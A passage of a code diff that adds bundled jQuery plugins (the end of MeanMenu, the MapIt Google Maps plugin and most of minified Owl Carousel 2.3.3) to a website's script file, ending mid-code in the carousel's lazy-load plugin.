+														if(jQuery(this).children().length){
+																jQuery(this,'li:first').parent().append('<a class="mean-expand" href="#" style="font-size: '+ meanMenuCloseSize +'">'+ meanExpand +'</a>');
+														}
+												});
+												jQuery('.mean-expand').on("click",function(e){
+														e.preventDefault();
+															if (jQuery(this).hasClass("mean-clicked")) {
+																	jQuery(this).text(meanExpand);
+																jQuery(this).prev('ul').slideUp(300, function(){});
+														} else {
+																jQuery(this).text(meanContract);
+																jQuery(this).prev('ul').slideDown(300, function(){});
+														}
+														jQuery(this).toggleClass("mean-clicked");
+												});
+											} else {
+													jQuery('.mean-nav ul ul').show();
+											}
+									} else {
+											jQuery('.mean-nav ul ul').hide();
+									}
+
+									// add last class to tidy up borders
+									jQuery('.mean-nav ul li').last().addClass('mean-last');
+									$navreveal.removeClass("meanclose");
+									jQuery($navreveal).click(function(e){
+										e.preventDefault();
+								if( menuOn === false ) {
+												$navreveal.css("text-align", "center");
+												$navreveal.css("text-indent", "0");
+												$navreveal.css("font-size", meanMenuCloseSize);
+												jQuery('.mean-nav ul:first').slideDown();
+												menuOn = true;
+										} else {
+											jQuery('.mean-nav ul:first').slideUp();
+											menuOn = false;
+										}
+											$navreveal.toggleClass("meanclose");
+											meanInner();
+											jQuery(removeElements).addClass('mean-remove');
+									});
+
+									// for one page websites, reset all variables...
+									if ( onePage ) {
+										jQuery('.mean-nav ul > li > a:first-child').on( "click" , function () {
+											jQuery('.mean-nav ul:first').slideUp();
+											menuOn = false;
+											jQuery($navreveal).toggleClass("meanclose").html(meanMenuOpen);
+										});
+									}
+							} else {
+								meanOriginal();
+							}
+						};
+
+						if (!isMobile) {
+								// reset menu on resize above meanScreenWidth
+								jQuery(window).resize(function () {
+										currentWidth = window.innerWidth || document.documentElement.clientWidth;
+										if (currentWidth > meanScreenWidth) {
+												meanOriginal();
+										} else {
+											meanOriginal();
+										}
+										if (currentWidth <= meanScreenWidth) {
+												showMeanMenu();
+												meanCentered();
+										} else {
+											meanOriginal();
+										}
+								});
+						}
+
+					jQuery(window).resize(function () {
+								// get browser width
+								currentWidth = window.innerWidth || document.documentElement.clientWidth;
+
+								if (!isMobile) {
+										meanOriginal();
+										if (currentWidth <= meanScreenWidth) {
+												showMeanMenu();
+												meanCentered();
+										}
+								} else {
+										meanCentered();
+										if (currentWidth <= meanScreenWidth) {
+												if (meanMenuExist === false) {
+														showMeanMenu();
+												}
+										} else {
+												meanOriginal();
+										}
+								}
+						});
+
+					// run main menuMenu function on load
+					showMeanMenu();
+				});
+		};
+})(jQuery);
+
+
+/* MapIt
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/**
+ * MapIt
+ *
+ * @copyright Copyright 2013, Dimitris Krestos
+ * @license   Apache License, Version 2.0 (http://www.opensource.org/licenses/apache2.0.php)
+ * @link      http://vdw.staytuned.gr
+ * @version   v0.3.0
+ */
+
+!function($,window,undefined){"use strict";$.fn.mapit=function(options){var defaults={latitude:37.970996,longitude:23.730542,zoom:16,type:"ROADMAP",scrollwheel:!1,marker:{latitude:37.970996,longitude:23.730542,icon:"",title:"",open:!1,center:!0},address:"",styles:"GRAYSCALE",locations:[],origins:[]},options=$.extend(defaults,options);$(this).each(function(){var $this=$(this),directionsDisplay=new google.maps.DirectionsRenderer,mapOptions={scrollwheel:options.scrollwheel,scaleControl:!1,center:options.marker.center?new google.maps.LatLng(options.marker.latitude,options.marker.longitude):new google.maps.LatLng(options.latitude,options.longitude),zoom:options.zoom,mapTypeId:eval("google.maps.MapTypeId."+options.type)},map=new google.maps.Map(document.getElementById($this.attr("id")),mapOptions);if(directionsDisplay.setMap(map),options.styles){var GRAYSCALE_style=[{featureType:"all",elementType:"all",stylers:[{saturation:-100}]}],MIDNIGHT_style=[{featureType:"water",stylers:[{color:"#021019"}]},{featureType:"landscape",stylers:[{color:"#08304b"}]},{featureType:"poi",elementType:"geometry",stylers:[{color:"#0c4152"},{lightness:5}]},{featureType:"road.highway",elementType:"geometry.fill",stylers:[{color:"#000000"}]},{featureType:"road.highway",elementType:"geometry.stroke",stylers:[{color:"#0b434f"},{lightness:25}]},{featureType:"road.arterial",elementType:"geometry.fill",stylers:[{color:"#000000"}]},{featureType:"road.arterial",elementType:"geometry.stroke",stylers:[{color:"#0b3d51"},{lightness:16}]},{featureType:"road.local",elementType:"geometry",stylers:[{color:"#000000"}]},{elementType:"labels.text.fill",stylers:[{color:"#ffffff"}]},{elementType:"labels.text.stroke",stylers:[{color:"#000000"},{lightness:13}]},{featureType:"transit",stylers:[{color:"#146474"}]},{featureType:"administrative",elementType:"geometry.fill",stylers:[{color:"#000000"}]},{featureType:"administrative",elementType:"geometry.stroke",stylers:[{color:"#144b53"},{lightness:14},{weight:1.4}]}],BLUE_style=[{featureType:"water",stylers:[{color:"#46bcec"},{visibility:"on"}]},{featureType:"landscape",stylers:[{color:"#f2f2f2"}]},{featureType:"road",stylers:[{saturation:-100},{lightness:45}]},{featureType:"road.highway",stylers:[{visibility:"simplified"}]},{featureType:"road.arterial",elementType:"labels.icon",stylers:[{visibility:"off"}]},{featureType:"administrative",elementType:"labels.text.fill",stylers:[{color:"#444444"}]},{featureType:"transit",stylers:[{visibility:"off"}]},{featureType:"poi",stylers:[{visibility:"off"}]}],mapType=new google.maps.StyledMapType(eval(options.styles+"_style"),{name:options.styles});map.mapTypes.set(options.styles,mapType),map.setMapTypeId(options.styles)}var home=new google.maps.Marker({map:map,position:new google.maps.LatLng(options.marker.latitude,options.marker.longitude),icon:new google.maps.MarkerImage(options.marker.icon),title:options.marker.title}),info=new google.maps.InfoWindow({content:options.address});options.marker.open?info.open(map,home):google.maps.event.addListener(home,"click",function(){info.open(map,home)});var infowindow=new google.maps.InfoWindow,marker,i,markers=[];for(i=0;i<options.locations.length;i++)marker=new google.maps.Marker({position:new google.maps.LatLng(options.locations[i][0],options.locations[i][1]),map:map,icon:new google.maps.MarkerImage(options.locations[i][2]||options.marker.icon),title:options.locations[i][3]}),markers.push(marker),google.maps.event.addListener(marker,"click",function(e,o){return function(){infowindow.setContent(options.locations[o][4]),infowindow.open(map,e)}}(marker,i));var directionsService=new google.maps.DirectionsService;$this.on("route",function(e,o){var t={origin:new google.maps.LatLng(options.origins[o][0],options.origins[o][1]),destination:new google.maps.LatLng(options.marker.latitude,options.marker.longitude),travelMode:google.maps.TravelMode.DRIVING};directionsService.route(t,function(e,o){o==google.maps.DirectionsStatus.OK&&directionsDisplay.setDirections(e)})}),$this.on("hide_all",function(){for(var e=0;e<options.locations.length;e++)markers[e].setVisible(!1)}),$this.on("show",function(e,o){$this.trigger("hide_all"),$this.trigger("reset");for(var t=new google.maps.LatLngBounds,i=0;i<options.locations.length;i++)options.locations[i][6]==o&&markers[i].setVisible(!0),t.extend(markers[i].position);map.fitBounds(t)}),$this.on("hide",function(e,o){for(var t=0;t<options.locations.length;t++)options.locations[t][6]==o&&markers[t].setVisible(!1)}),$this.on("clear",function(){if(markers)for(var e=0;e<markers.length;e++)markers[e].setMap(null)}),$this.on("reset",function(){map.setCenter(new google.maps.LatLng(options.latitude,options.longitude),options.zoom)}),$this.trigger("hide_all")})},$(document).ready(function(){$('[data-toggle="mapit"]').mapit()})}(jQuery);
+
+
+
+ /* Owl Carousel v2.3.3
+-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
+
+/**
+ * Owl Carousel v2.3.3
+ * Copyright 2013-2018 David Deutsch
+ * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
+ */
+!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push({filter:c.filter,run:a.proxy(c.run,this)})},this)),this.setup(),this.initialize()}e.Defaults={items:3,loop:!1,center:!1,rewind:!1,checkVisibility:!0,mouseDrag:!0,touchDrag:!0,pullDrag:!0,freeDrag:!1,margin:0,stagePadding:0,merge:!1,mergeFit:!0,autoWidth:!1,startPosition:0,rtl:!1,smartSpeed:250,fluidSpeed:!1,dragEndSpeed:!1,responsive:{},responsiveRefreshRate:200,responsiveBaseElement:b,fallbackEasing:"swing",info:!1,nestedItemSelector:!1,itemElement:"div",stageElement:"div",refreshClass:"owl-refresh",loadedClass:"owl-loaded",loadingClass:"owl-loading",rtlClass:"owl-rtl",responsiveClass:"owl-responsive",dragClass:"owl-drag",itemClass:"owl-item",stageClass:"owl-stage",stageOuterClass:"owl-stage-outer",grabClass:"owl-grab"},e.Width={Default:"default",Inner:"inner",Outer:"outer"},e.Type={Event:"event",State:"state"},e.Plugins={},e.Workers=[{filter:["width","settings"],run:function(){this._width=this.$element.width()}},{filter:["width","items","settings"],run:function(a){a.current=this._items&&this._items[this.relative(this._current)]}},{filter:["items","settings"],run:function(){this.$stage.children(".cloned").remove()}},{filter:["width","items","settings"],run:function(a){var b=this.settings.margin||"",c=!this.settings.autoWidth,d=this.settings.rtl,e={width:"auto","margin-left":d?b:"","margin-right":d?"":b};!c&&this.$stage.children().css(e),a.css=e}},{filter:["width","items","settings"],run:function(a){var b=(this.width()/this.settings.items).toFixed(3)-this.settings.margin,c=null,d=this._items.length,e=!this.settings.autoWidth,f=[];for(a.items={merge:!1,width:b};d--;)c=this._mergers[d],c=this.settings.mergeFit&&Math.min(c,this.settings.items)||c,a.items.merge=c>1||a.items.merge,f[d]=e?b*c:this._items[d].width();this._widths=f}},{filter:["items","settings"],run:function(){var b=[],c=this._items,d=this.settings,e=Math.max(2*d.items,4),f=2*Math.ceil(c.length/2),g=d.loop&&c.length?d.rewind?e:Math.max(e,f):0,h="",i="";for(g/=2;g>0;)b.push(this.normalize(b.length/2,!0)),h+=c[b[b.length-1]][0].outerHTML,b.push(this.normalize(c.length-1-(b.length-1)/2,!0)),i=c[b[b.length-1]][0].outerHTML+i,g-=1;this._clones=b,a(h).addClass("cloned").appendTo(this.$stage),a(i).addClass("cloned").prependTo(this.$stage)}},{filter:["width","items","settings"],run:function(){for(var a=this.settings.rtl?1:-1,b=this._clones.length+this._items.length,c=-1,d=0,e=0,f=[];++c<b;)d=f[c-1]||0,e=this._widths[this.relative(c)]+this.settings.margin,f.push(d+e*a);this._coordinates=f}},{filter:["width","items","settings"],run:function(){var a=this.settings.stagePadding,b=this._coordinates,c={width:Math.ceil(Math.abs(b[b.length-1]))+2*a,"padding-left":a||"","padding-right":a||""};this.$stage.css(c)}},{filter:["width","items","settings"],run:function(a){var b=this._coordinates.length,c=!this.settings.autoWidth,d=this.$stage.children();if(c&&a.items.merge)for(;b--;)a.css.width=this._widths[this.relative(b)],d.eq(b).css(a.css);else c&&(a.css.width=a.items.width,d.css(a.css))}},{filter:["items"],run:function(){this._coordinates.length<1&&this.$stage.removeAttr("style")}},{filter:["width","items","settings"],run:function(a){a.current=a.current?this.$stage.children().index(a.current):0,a.current=Math.max(this.minimum(),Math.min(this.maximum(),a.current)),this.reset(a.current)}},{filter:["position"],run:function(){this.animate(this.coordinates(this._current))}},{filter:["width","position","items","settings"],run:function(){var a,b,c,d,e=this.settings.rtl?1:-1,f=2*this.settings.stagePadding,g=this.coordinates(this.current())+f,h=g+this.width()*e,i=[];for(c=0,d=this._coordinates.length;c<d;c++)a=this._coordinates[c-1]||0,b=Math.abs(this._coordinates[c])+f*e,(this.op(a,"<=",g)&&this.op(a,">",h)||this.op(b,"<",g)&&this.op(b,">",h))&&i.push(c);this.$stage.children(".active").removeClass("active"),this.$stage.children(":eq("+i.join("), :eq(")+")").addClass("active"),this.$stage.children(".center").removeClass("center"),this.settings.center&&this.$stage.children().eq(this.current()).addClass("center")}}],e.prototype.initializeStage=function(){this.$stage=this.$element.find("."+this.settings.stageClass),this.$stage.length||(this.$element.addClass(this.options.loadingClass),this.$stage=a("<"+this.settings.stageElement+' class="'+this.settings.stageClass+'"/>').wrap('<div class="'+this.settings.stageOuterClass+'"/>'),this.$element.append(this.$stage.parent()))},e.prototype.initializeItems=function(){var b=this.$element.find(".owl-item");if(b.length)return this._items=b.get().map(function(b){return a(b)}),this._mergers=this._items.map(function(){return 1}),void this.refresh();this.replace(this.$element.children().not(this.$stage.parent())),this.isVisible()?this.refresh():this.invalidate("width"),this.$element.removeClass(this.options.loadingClass).addClass(this.options.loadedClass)},e.prototype.initialize=function(){if(this.enter("initializing"),this.trigger("initialize"),this.$element.toggleClass(this.settings.rtlClass,this.settings.rtl),this.settings.autoWidth&&!this.is("pre-loading")){var a,b,c;a=this.$element.find("img"),b=this.settings.nestedItemSelector?"."+this.settings.nestedItemSelector:d,c=this.$element.children(b).width(),a.length&&c<=0&&this.preloadAutoWidthImages(a)}this.initializeStage(),this.initializeItems(),this.registerEventHandlers(),this.leave("initializing"),this.trigger("initialized")},e.prototype.isVisible=function(){return!this.settings.checkVisibility||this.$element.is(":visible")},e.prototype.setup=function(){var b=this.viewport(),c=this.options.responsive,d=-1,e=null;c?(a.each(c,function(a){a<=b&&a>d&&(d=Number(a))}),e=a.extend({},this.options,c[d]),"function"==typeof e.stagePadding&&(e.stagePadding=e.stagePadding()),delete e.responsive,e.responsiveClass&&this.$element.attr("class",this.$element.attr("class").replace(new RegExp("("+this.options.responsiveClass+"-)\\S+\\s","g"),"$1"+d))):e=a.extend({},this.options),this.trigger("change",{property:{name:"settings",value:e}}),this._breakpoint=d,this.settings=e,this.invalidate("settings"),this.trigger("changed",{property:{name:"settings",value:this.settings}})},e.prototype.optionsLogic=function(){this.settings.autoWidth&&(this.settings.stagePadding=!1,this.settings.merge=!1)},e.prototype.prepare=function(b){var c=this.trigger("prepare",{content:b});return c.data||(c.data=a("<"+this.settings.itemElement+"/>").addClass(this.options.itemClass).append(b)),this.trigger("prepared",{content:c.data}),c.data},e.prototype.update=function(){for(var b=0,c=this._pipe.length,d=a.proxy(function(a){return this[a]},this._invalidated),e={};b<c;)(this._invalidated.all||a.grep(this._pipe[b].filter,d).length>0)&&this._pipe[b].run(e),b++;this._invalidated={},!this.is("valid")&&this.enter("valid")},e.prototype.width=function(a){switch(a=a||e.Width.Default){case e.Width.Inner:case e.Width.Outer:return this._width;default:return this._width-2*this.settings.stagePadding+this.settings.margin}},e.prototype.refresh=function(){this.enter("refreshing"),this.trigger("refresh"),this.setup(),this.optionsLogic(),this.$element.addClass(this.options.refreshClass),this.update(),this.$element.removeClass(this.options.refreshClass),this.leave("refreshing"),this.trigger("refreshed")},e.prototype.onThrottledResize=function(){b.clearTimeout(this.resizeTimer),this.resizeTimer=b.setTimeout(this._handlers.onResize,this.settings.responsiveRefreshRate)},e.prototype.onResize=function(){return!!this._items.length&&(this._width!==this.$element.width()&&(!!this.isVisible()&&(this.enter("resizing"),this.trigger("resize").isDefaultPrevented()?(this.leave("resizing"),!1):(this.invalidate("width"),this.refresh(),this.leave("resizing"),void this.trigger("resized")))))},e.prototype.registerEventHandlers=function(){a.support.transition&&this.$stage.on(a.support.transition.end+".owl.core",a.proxy(this.onTransitionEnd,this)),!1!==this.settings.responsive&&this.on(b,"resize",this._handlers.onThrottledResize),this.settings.mouseDrag&&(this.$element.addClass(this.options.dragClass),this.$stage.on("mousedown.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("dragstart.owl.core selectstart.owl.core",function(){return!1})),this.settings.touchDrag&&(this.$stage.on("touchstart.owl.core",a.proxy(this.onDragStart,this)),this.$stage.on("touchcancel.owl.core",a.proxy(this.onDragEnd,this)))},e.prototype.onDragStart=function(b){var d=null;3!==b.which&&(a.support.transform?(d=this.$stage.css("transform").replace(/.*\(|\)| /g,"").split(","),d={x:d[16===d.length?12:4],y:d[16===d.length?13:5]}):(d=this.$stage.position(),d={x:this.settings.rtl?d.left+this.$stage.width()-this.width()+this.settings.margin:d.left,y:d.top}),this.is("animating")&&(a.support.transform?this.animate(d.x):this.$stage.stop(),this.invalidate("position")),this.$element.toggleClass(this.options.grabClass,"mousedown"===b.type),this.speed(0),this._drag.time=(new Date).getTime(),this._drag.target=a(b.target),this._drag.stage.start=d,this._drag.stage.current=d,this._drag.pointer=this.pointer(b),a(c).on("mouseup.owl.core touchend.owl.core",a.proxy(this.onDragEnd,this)),a(c).one("mousemove.owl.core touchmove.owl.core",a.proxy(function(b){var d=this.difference(this._drag.pointer,this.pointer(b));a(c).on("mousemove.owl.core touchmove.owl.core",a.proxy(this.onDragMove,this)),Math.abs(d.x)<Math.abs(d.y)&&this.is("valid")||(b.preventDefault(),this.enter("dragging"),this.trigger("drag"))},this)))},e.prototype.onDragMove=function(a){var b=null,c=null,d=null,e=this.difference(this._drag.pointer,this.pointer(a)),f=this.difference(this._drag.stage.start,e);this.is("dragging")&&(a.preventDefault(),this.settings.loop?(b=this.coordinates(this.minimum()),c=this.coordinates(this.maximum()+1)-b,f.x=((f.x-b)%c+c)%c+b):(b=this.settings.rtl?this.coordinates(this.maximum()):this.coordinates(this.minimum()),c=this.settings.rtl?this.coordinates(this.minimum()):this.coordinates(this.maximum()),d=this.settings.pullDrag?-1*e.x/5:0,f.x=Math.max(Math.min(f.x,b+d),c+d)),this._drag.stage.current=f,this.animate(f.x))},e.prototype.onDragEnd=function(b){var d=this.difference(this._drag.pointer,this.pointer(b)),e=this._drag.stage.current,f=d.x>0^this.settings.rtl?"left":"right";a(c).off(".owl.core"),this.$element.removeClass(this.options.grabClass),(0!==d.x&&this.is("dragging")||!this.is("valid"))&&(this.speed(this.settings.dragEndSpeed||this.settings.smartSpeed),this.current(this.closest(e.x,0!==d.x?f:this._drag.direction)),this.invalidate("position"),this.update(),this._drag.direction=f,(Math.abs(d.x)>3||(new Date).getTime()-this._drag.time>300)&&this._drag.target.one("click.owl.core",function(){return!1})),this.is("dragging")&&(this.leave("dragging"),this.trigger("dragged"))},e.prototype.closest=function(b,c){var e=-1,f=30,g=this.width(),h=this.coordinates();return this.settings.freeDrag||a.each(h,a.proxy(function(a,i){return"left"===c&&b>i-f&&b<i+f?e=a:"right"===c&&b>i-g-f&&b<i-g+f?e=a+1:this.op(b,"<",i)&&this.op(b,">",h[a+1]!==d?h[a+1]:i-g)&&(e="left"===c?a+1:a),-1===e},this)),this.settings.loop||(this.op(b,">",h[this.minimum()])?e=b=this.minimum():this.op(b,"<",h[this.maximum()])&&(e=b=this.maximum())),e},e.prototype.animate=function(b){var c=this.speed()>0;this.is("animating")&&this.onTransitionEnd(),c&&(this.enter("animating"),this.trigger("translate")),a.support.transform3d&&a.support.transition?this.$stage.css({transform:"translate3d("+b+"px,0px,0px)",transition:this.speed()/1e3+"s"}):c?this.$stage.animate({left:b+"px"},this.speed(),this.settings.fallbackEasing,a.proxy(this.onTransitionEnd,this)):this.$stage.css({left:b+"px"})},e.prototype.is=function(a){return this._states.current[a]&&this._states.current[a]>0},e.prototype.current=function(a){if(a===d)return this._current;if(0===this._items.length)return d;if(a=this.normalize(a),this._current!==a){var b=this.trigger("change",{property:{name:"position",value:a}});b.data!==d&&(a=this.normalize(b.data)),this._current=a,this.invalidate("position"),this.trigger("changed",{property:{name:"position",value:this._current}})}return this._current},e.prototype.invalidate=function(b){return"string"===a.type(b)&&(this._invalidated[b]=!0,this.is("valid")&&this.leave("valid")),a.map(this._invalidated,function(a,b){return b})},e.prototype.reset=function(a){(a=this.normalize(a))!==d&&(this._speed=0,this._current=a,this.suppress(["translate","translated"]),this.animate(this.coordinates(a)),this.release(["translate","translated"]))},e.prototype.normalize=function(a,b){var c=this._items.length,e=b?0:this._clones.length;return!this.isNumeric(a)||c<1?a=d:(a<0||a>=c+e)&&(a=((a-e/2)%c+c)%c+e/2),a},e.prototype.relative=function(a){return a-=this._clones.length/2,this.normalize(a,!0)},e.prototype.maximum=function(a){var b,c,d,e=this.settings,f=this._coordinates.length;if(e.loop)f=this._clones.length/2+this._items.length-1;else if(e.autoWidth||e.merge){if(b=this._items.length)for(c=this._items[--b].width(),d=this.$element.width();b--&&!((c+=this._items[b].width()+this.settings.margin)>d););f=b+1}else f=e.center?this._items.length-1:this._items.length-e.items;return a&&(f-=this._clones.length/2),Math.max(f,0)},e.prototype.minimum=function(a){return a?0:this._clones.length/2},e.prototype.items=function(a){return a===d?this._items.slice():(a=this.normalize(a,!0),this._items[a])},e.prototype.mergers=function(a){return a===d?this._mergers.slice():(a=this.normalize(a,!0),this._mergers[a])},e.prototype.clones=function(b){var c=this._clones.length/2,e=c+this._items.length,f=function(a){return a%2==0?e+a/2:c-(a+1)/2};return b===d?a.map(this._clones,function(a,b){return f(b)}):a.map(this._clones,function(a,c){return a===b?f(c):null})},e.prototype.speed=function(a){return a!==d&&(this._speed=a),this._speed},e.prototype.coordinates=function(b){var c,e=1,f=b-1;return b===d?a.map(this._coordinates,a.proxy(function(a,b){return this.coordinates(b)},this)):(this.settings.center?(this.settings.rtl&&(e=-1,f=b+1),c=this._coordinates[b],c+=(this.width()-c+(this._coordinates[f]||0))/2*e):c=this._coordinates[f]||0,c=Math.ceil(c))},e.prototype.duration=function(a,b,c){return 0===c?0:Math.min(Math.max(Math.abs(b-a),1),6)*Math.abs(c||this.settings.smartSpeed)},e.prototype.to=function(a,b){var c=this.current(),d=null,e=a-this.relative(c),f=(e>0)-(e<0),g=this._items.length,h=this.minimum(),i=this.maximum();this.settings.loop?(!this.settings.rewind&&Math.abs(e)>g/2&&(e+=-1*f*g),a=c+e,(d=((a-h)%g+g)%g+h)!==a&&d-e<=i&&d-e>0&&(c=d-e,a=d,this.reset(c))):this.settings.rewind?(i+=1,a=(a%i+i)%i):a=Math.max(h,Math.min(i,a)),this.speed(this.duration(c,a,b)),this.current(a),this.isVisible()&&this.update()},e.prototype.next=function(a){a=a||!1,this.to(this.relative(this.current())+1,a)},e.prototype.prev=function(a){a=a||!1,this.to(this.relative(this.current())-1,a)},e.prototype.onTransitionEnd=function(a){if(a!==d&&(a.stopPropagation(),(a.target||a.srcElement||a.originalTarget)!==this.$stage.get(0)))return!1;this.leave("animating"),this.trigger("translated")},e.prototype.viewport=function(){var d;return this.options.responsiveBaseElement!==b?d=a(this.options.responsiveBaseElement).width():b.innerWidth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),this.settings.nestedItemSelector&&(b=b.find("."+this.settings.nestedItemSelector)),b.filter(function(){return 1===this.nodeType}).each(a.proxy(function(a,b){b=this.prepare(b),this.$stage.append(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)},this)),this.reset(this.isNumeric(this.settings.startPosition)?this.settings.startPosition:0),this.invalidate("items")},e.prototype.add=function(b,c){var e=this.relative(this._current);c=c===d?this._items.length:this.normalize(c,!0),b=b instanceof jQuery?b:a(b),this.trigger("add",{content:b,position:c}),b=this.prepare(b),0===this._items.length||c===this._items.length?(0===this._items.length&&this.$stage.append(b),0!==this._items.length&&this._items[c-1].after(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)):(this._items[c].before(b),this._items.splice(c,0,b),this._mergers.splice(c,0,1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)),this._items[e]&&this.reset(this._items[e].index()),this.invalidate("items"),this.trigger("added",{content:b,position:c})},e.prototype.remove=function(a){(a=this.normalize(a,!0))!==d&&(this.trigger("remove",{content:this._items[a],position:a}),this._items[a].remove(),this._items.splice(a,1),this._mergers.splice(a,1),this.invalidate("items"),this.trigger("removed",{content:null,position:a}))},e.prototype.preloadAutoWidthImages=function(b){b.each(a.proxy(function(b,c){this.enter("pre-loading"),c=a(c),a(new Image).one("load",a.proxy(function(a){c.attr("src",a.target.src),c.css("opacity",1),this.leave("pre-loading"),!this.is("pre-loading")&&!this.is("initializing")&&this.refresh()},this)).attr("src",c.attr("src")||c.attr("data-src")||c.attr("data-src-retina"))},this))},e.prototype.destroy=function(){this.$element.off(".owl.core"),this.$stage.off(".owl.core"),a(c).off(".owl.core"),!1!==this.settings.responsive&&(b.clearTimeout(this.resizeTimer),this.off(b,"resize",this._handlers.onThrottledResize));for(var d in this._plugins)this._plugins[d].destroy();this.$stage.children(".cloned").remove(),this.$stage.unwrap(),this.$stage.children().contents().unwrap(),this.$stage.children().unwrap(),this.$stage.remove(),this.$element.removeClass(this.options.refreshClass).removeClass(this.options.loadingClass).removeClass(this.options.loadedClass).removeClass(this.options.rtlClass).removeClass(this.options.dragClass).removeClass(this.options.grabClass).attr("class",this.$element.attr("class").replace(new RegExp(this.options.responsiveClass+"-\\S+\\s","g"),"")).removeData("owl.carousel")},e.prototype.op=function(a,b,c){var d=this.settings.rtl;switch(b){case"<":return d?a>c:a<c;case">":return d?a<c:a>c;case">=":return d?a<=c:a>=c;case"<=":return d?a>=c:a<=c}},e.prototype.on=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,d):a.attachEvent&&a.attachEvent("on"+b,c)},e.prototype.off=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,d):a.detachEvent&&a.detachEvent("on"+b,c)},e.prototype.trigger=function(b,c,d,f,g){var h={item:{count:this._items.length,index:this.current()}},i=a.camelCase(a.grep(["on",b,d],function(a){return a}).join("-").toLowerCase()),j=a.Event([b,"owl",d||"carousel"].join(".").toLowerCase(),a.extend({relatedTarget:this},h,c));return this._supress[b]||(a.each(this._plugins,function(a,b){b.onTrigger&&b.onTrigger(j)}),this.register({type:e.Type.Event,name:b}),this.$element.trigger(j),this.settings&&"function"==typeof this.settings[i]&&this.settings[i].call(this,j)),j},e.prototype.enter=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]===d&&(this._states.current[b]=0),this._states.current[b]++},this))},e.prototype.leave=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]--},this))},e.prototype.register=function(b){if(b.type===e.Type.Event){if(a.event.special[b.name]||(a.event.special[b.name]={}),!a.event.special[b.name].owl){var c=a.event.special[b.name]._default;a.event.special[b.name]._default=function(a){return!c||!c.apply||a.namespace&&-1!==a.namespace.indexOf("owl")?a.namespace&&a.namespace.indexOf("owl")>-1:c.apply(this,arguments)},a.event.special[b.name].owl=!0}}else b.type===e.Type.State&&(this._states.tags[b.name]?this._states.tags[b.name]=this._states.tags[b.name].concat(b.tags):this._states.tags[b.name]=b.tags,this._states.tags[b.name]=a.grep(this._states.tags[b.name],a.proxy(function(c,d){return a.inArray(c,this._states.tags[b.name])===d},this)))},e.prototype.suppress=function(b){a.each(b,a.proxy(function(a,b){this._supress[b]=!0},this))},e.prototype.release=function(b){a.each(b,a.proxy(function(a,b){delete this._supress[b]},this))},e.prototype.pointer=function(a){var c={x:null,y:null};return a=a.originalEvent||a||b.event,a=a.touches&&a.touches.length?a.touches[0]:a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:a,a.pageX?(c.x=a.pageX,c.y=a.pageY):(c.x=a.clientX,c.y=a.clientY),c},e.prototype.isNumeric=function(a){return!isNaN(parseFloat(a))},e.prototype.difference=function(a,b){return{x:a.x-b.x,y:a.y-b.y}},a.fn.owlCarousel=function(b){var c=Array.prototype.slice.call(arguments,1);return this.each(function(){var d=a(this),f=d.data("owl.carousel");f||(f=new e(this,"object"==typeof b&&b),d.data("owl.carousel",f),a.each(["next","prev","to","destroy","refresh","replace","add","remove"],function(b,c){f.register({type:e.Type.Event,name:c}),f.$element.on(c+".owl.carousel.core",a.proxy(function(a){a.namespace&&a.relatedTarget!==this&&(this.suppress([c]),f[c].apply(this,[].slice.call(arguments,1)),this.release([c]))},f))})),"string"==typeof b&&"_"!==b.charAt(0)&&f[b].apply(f,c)})},a.fn.owlCarousel.Constructor=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._interval=null,this._visible=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoRefresh&&this.watch()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={autoRefresh:!0,autoRefreshInterval:500},e.prototype.watch=function(){this._interval||(this._visible=this._core.isVisible(),this._interval=b.setInterval(a.proxy(this.refresh,this),this._core.settings.autoRefreshInterval))},e.prototype.refresh=function(){this._core.isVisible()!==this._visible&&(this._visible=!this._visible,this._core.$element.toggleClass("owl-hidden",!this._visible),this._visible&&this._core.invalidate("width")&&this._core.refresh())},e.prototype.destroy=function(){var a,c;b.clearInterval(this._interval);for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoRefresh=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._loaded=[],this._handlers={"initialized.owl.carousel change.owl.carousel resized.owl.carousel":a.proxy(function(b){if(b.namespace&&this._core.settings&&this._core.settings.lazyLoad&&(b.property&&"position"==b.property.name||"initialized"==b.type))for(var 